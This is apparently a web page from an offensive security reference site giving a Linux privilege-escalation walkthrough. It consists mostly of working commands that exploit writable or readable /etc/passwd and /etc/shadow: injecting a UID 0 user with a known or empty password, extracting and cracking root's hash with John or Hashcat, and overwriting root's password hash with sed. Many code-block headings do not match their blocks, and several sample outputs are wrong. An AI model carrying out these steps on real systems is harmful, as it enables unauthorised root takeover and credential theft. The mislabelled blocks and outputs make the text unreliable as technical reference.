# /etc/passwd and /etc/shadow Privilege Escalation

> Exploiting world-writable /etc/passwd or /etc/shadow misconfigurations to inject rogue users or crack hashed credentials for root access.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/passwd-shadow-manipulation
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-02-13
- **Updated:** 2026-07-10

Misconfigured permissions on `/etc/passwd` and `/etc/shadow` represent a critical failure. If `/etc/passwd` is writable, inject a new root user. If `/etc/shadow` is readable, crack password hashes offline. If `/etc/shadow` is writable, overwrite the root password directly. All three paths lead to root without any exploit or kernel vulnerability.

## /etc/passwd and Shadow Privilege Escalation Paths

The three escalation paths from misconfigured file permissions:

- Writable `/etc/passwd`: inject a new UID 0 user with a known password hash
- Readable `/etc/shadow`: extract hashes and crack them offline with John or Hashcat
- Writable `/etc/shadow`: overwrite root's password hash directly

Check permissions, ACLs, and immutable flags: permissions on disk can be overridden by ACLs or `chattr`:

**Permissions**

```bash
# Basic permissions
ls -la /etc/passwd /etc/shadow

# ACL overrides
getfacl -p /etc/passwd /etc/shadow 2>/dev/null

# Immutable flag: if set, you cannot write even as root
lsattr /etc/passwd /etc/shadow 2>/dev/null

# Quick capability test
test -w /etc/passwd && echo "passwd WRITABLE"
test -r /etc/shadow && echo "shadow READABLE"
test -w /etc/shadow && echo "shadow WRITABLE"
# -rw-r--r-- 1 root root  2981 Jan  1 12:00 /etc/passwd
# -rw-r----- 1 root shadow 1843 Jan  1 12:00 /etc/shadow
```

Confirm the system actually uses local file authentication: some environments use LDAP or SSSD and ignore local files entirely:

**NSS lookup order**

```bash
grep -E '^(passwd|shadow):' /etc/nsswitch.conf 2>/dev/null
# passwd: files sssd
# shadow: files sss
```

If the output shows `files` first, local file changes take effect. If it only shows `sssd` or `ldap`, local injection will not authenticate.

Use `getent` as the source of truth: it queries through NSS the same way the system does:

**NSS view: passwd**

```bash
getent
# root:x:0:0:root:/root:/bin/bash
```

## Writable /etc/passwd: User Injection

When `/etc/passwd` is writable, add a new user with UID 0. The password hash goes directly in the second field: no shadow file needed.

Generate a password hash:

**NSS view: shadow (best effort)**

```bash
# SHA-512 (recommended)
openssl passwd -6 "$PASSWORD"

# If openssl -6 unavailable, use MD5 (less secure but works)
openssl passwd -1 "$PASSWORD"

# Or create a passwordless entry (empty password field)
# Format: username::0:0:comment:/root:/bin/bash
# root:$y$j9T$salt$hash:19000:0:99999:7:::
```

Append the new root user:

**Generate a password hash**

```bash
HASH="$(openssl passwd -6 "$PASSWORD")"
printf 'newroot:%s:0:0:root:/root:/bin/bash\n' "$HASH" >> /etc/passwd
# $6$salt$hash...
```

Verify NSS sees it:

**Append a UID 0 user**

```bash
getent passwd newroot
```

Authenticate:

**Validate NSS sees the new account**

```bash
su newroot
# newroot:x:0:0:root:/root:/bin/bash
```

**Passwordless shortcut**: if you want no password at all:

**Authenticate**

```bash
echo 'newroot::0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot
```

This works only if PAM is not configured to reject empty passwords. On most lab systems it works.

**Remove root's password from shadow**: if `/etc/shadow` is also writable, delete root's password field entirely:

Check if this actually works: some PAM configurations block null passwords:

**Extract root hash (anchored) into a crack file**

```bash
grep -i "nullok\|empty" /etc/pam.d/common-auth /etc/pam.d/su 2>/dev/null
```

`nullok` or `nullok_secure` present means empty passwords are accepted.

Verify and clean up after exploitation:

**Confirm extracted hash line**

```bash
# Check for duplicate UID 0 accounts
awk -F: '$3==0 {print}' /etc/passwd

# Verify file integrity
pwck -r 2>/dev/null
# root:$y$j9T$salt$hash
```

## Readable /etc/shadow: Offline Cracking

If `/etc/shadow` is readable, extract and crack hashes offline.

Extract the root hash:

**Identify format by prefix token**

```bash
# Anchored extraction: only root's line
awk -F: '$1=="root"{print "root:"$2}' /etc/shadow > /tmp/root_hash.txt
cat /tmp/root_hash.txt
# y
```

Identify the hash format by the prefix:

**Hash identification (best effort)**

```bash
cut -d: -f2 /tmp/root_hash.txt | cut -d'$' -f2
# Analyzing &#039;$y$j9T$...&#039;
# [+] Yescrypt
```

| Prefix | Format | Hashcat Mode | Cracker |
| --- | --- | --- | --- |
| `$y$` or `$7$` | yescrypt | N/A | John only |
| `$6$` | SHA-512 crypt | `-m 1800` | Hashcat or John |
| `$5$` | SHA-256 crypt | `-m 7400` | Hashcat or John |
| `$1$` | MD5 crypt | `-m 500` | Hashcat or John |
| `$2b$` | bcrypt | `-m 3200` | Hashcat or John |

Modern Debian/Ubuntu uses yescrypt (`$y$`) which is not supported by hashcat. Use John:

**Crack yescrypt ($y$ / $7$) with John**

```bash
# yescrypt: John only
john --format=yescrypt /tmp/root_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# If yescrypt format unavailable, try generic crypt
john --format=crypt /tmp/root_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# SHA-512: hashcat is faster with GPU
hashcat -m 1800 --username /tmp/root_hash.txt /usr/share/wordlists/rockyou.txt

# Show cracked password
john --show /tmp/root_hash.txt
```

**Unshadow for John**: if you want to crack all users at once, combine passwd and shadow:

**If John yescrypt format is unavailable, try crypt() format**

```bash
unshadow /etc/passwd /etc/shadow > /tmp/unshadowed.txt
john /tmp/unshadowed.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show /tmp/unshadowed.txt
```

Transfer the hash file to your attack box for GPU cracking if the password does not crack quickly on CPU.

## Writable /etc/shadow: Direct Overwrite

If `/etc/shadow` is writable, replace the root hash with a known one. First check whether root is locked:

**Crack SHA-512 crypt ($6$) with Hashcat**

```bash
# A field starting with ! or * means locked/disabled
awk -F: '$1=="root"{print $2}' /etc/shadow 2>/dev/null
```

If the second field starts with `!` or `*`, the account is locked. You can unlock it by replacing the field with a valid hash.

Generate a replacement hash:

**Check root lock state (field 2)**

```bash
openssl passwd -6 "$PASSWORD"
# $y$j9T$salt$hash
```

Use `sed` to replace root's hash field safely:

**Generate replacement hash**

```bash
HASH="$(openssl passwd -6 "$PASSWORD")"
sed -i "s|^root:[^:]*:|root:${HASH}:|" /etc/shadow
# $6$salt$hash...
```

Verify the change:

**Edit shadow safely using locks**

```bash
awk -F: '$1=="root"{print $2}' /etc/shadow
pwck -r 2>/dev/null
```

Authenticate:

**Verify integrity after editing**

```bash
su root
# root: /etc/passwd and /etc/shadow agree
# No errors detected.
```

## References

- [passwd(5) Manual](https://man7.org/linux/man-pages/man5/passwd.5.html) - passwd file format and field meanings
- [shadow(5) Manual](https://man7.org/linux/man-pages/man5/shadow.5.html) - shadow fields, lock characters, and semantics
- [getent(1) Manual](https://man7.org/linux/man-pages/man1/getent.1.html) - NSS-aware lookups for passwd/shadow sources
- [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes) - Reference for hash mode selection and format examples
